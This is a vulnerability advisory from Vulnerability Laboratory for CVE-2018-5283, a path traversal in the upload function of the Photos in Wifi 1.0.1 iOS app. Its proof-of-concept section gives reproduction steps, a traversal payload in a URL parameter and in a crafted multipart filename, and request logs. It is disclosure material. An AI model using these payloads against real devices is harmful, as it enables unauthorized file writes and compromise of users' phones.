Photos in Wifi 1.0.1 iOS - Path Traversal Web Vulnerability

Document Title:
===============
Photos in Wifi 1.0.1 iOS - Path Traversal Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1600

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-5283

CVE-ID:
=======
CVE-2018-5283


Release Date:
=============
2018-01-04


Vulnerability Laboratory ID (VL-ID):
====================================
1600


Common Vulnerability Scoring System:
====================================
6.5


Vulnerability Class:
====================
Directory- or Path-Traversal


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Share the photos and videos of your iPhone/iPad in wifi. Upload photos and videos right to your camera roll without iTunes.
With Photos In Wifi, you can share your whole camera roll, and album, or a selection of photos and videos. Once the app 
server is started, you can view, play and download the shared photos and videos from any computer or smartphone web browser. 
You can also upload a photo, a video, or a zip file containing 100`s of photos and videos, right into your iPhone/iPad 
camera roll. You can also use Photos In Wifi to send multiples full resolution photos and videos in a single email or MMS.

(Copy of the Homepage: https://itunes.apple.com/us/app/photos-in-wifi-share-photos/id966316576 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a path traversal web vulnerability in the Photos in Wifi v1.0.1 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2018-01-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Sebastien BUET
Product: Photos In Wifi - iOS Mobile (Web-Application) 1.0.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An directory traversal web vulnerability has been discovered in the official Photos in Wifi v1.0.1 iOS mobile web-application.
The vulnerability allows remote attackers to unauthorized access other the mobile application folders to compromise 
by an upload of malicious contents.

The vulnerability is located in `Select a photo or a video to upload` module. Remote attackers are able to intercept the vulnerable 
filename value in the upload - submit POST method request to compromise the mobile app. The encoding of the ext value and the parse 
of the filename value is broken which results obviously in this unexpected behavior. The injection point of the issue is the upload 
POST method request with the vulnerable filename value. The execution point occurs in the assets.php file when processing to display 
the images or videos.

The security risk of the path traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.5. 
Exploitation of the remote web vulnerability requires no user interaction and also no privileged web application user account.
Successful exploitation of the file upload vulnerability results in web-server, web module, website or dbms compromise.

Vulnerable Module(s):
[+] ./assets-library://asset/

Vulnerable File(s):
[+] asset.php


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers without privileged web-application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Start the web-server (wifi)
2. Go to another computer and login by requesting via http localhost
3. Click upload and choose a random file
4. Start a live session tamper for http
5. Submit the upload to continue with the POST method request
6. Inject to the filename value with a payload and path as extension 
7. Continue to reply the request
8. The server responds with 200OK
9. Open the poc url of the path to execute the malicious content to compromise
10. Successful reproduce of the vulnerability!


PoC: URL
http://localhost/assets-library://asset/asset.php?id=40C9C332-857B-4CB8-B848-59A30AA9CF3B&ext=[../not_allowed_directory/].[ext]


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost/ 
Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
   POST-Daten:
      POST_DATA[-----------------------------191201034430987
Content-Disposition: form-data; name="file"; filename="../not_allowed_directory/newfile.[ext]"
-
Status: 200[OK] 
GET http://localhost/assets-library://asset/asset.php?id=250D47DB-57DD-47E4-B72A-CD4455B06277&ext=php 
Mime Type[application/x-unknown-content-type]
   Request Header:
      Host[localhost]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[0]


Security Risk:
==============
The security risk of the web vulnerability in the wifi interface upload post method request is estimated as high (CVSS 6.5).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


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=========================
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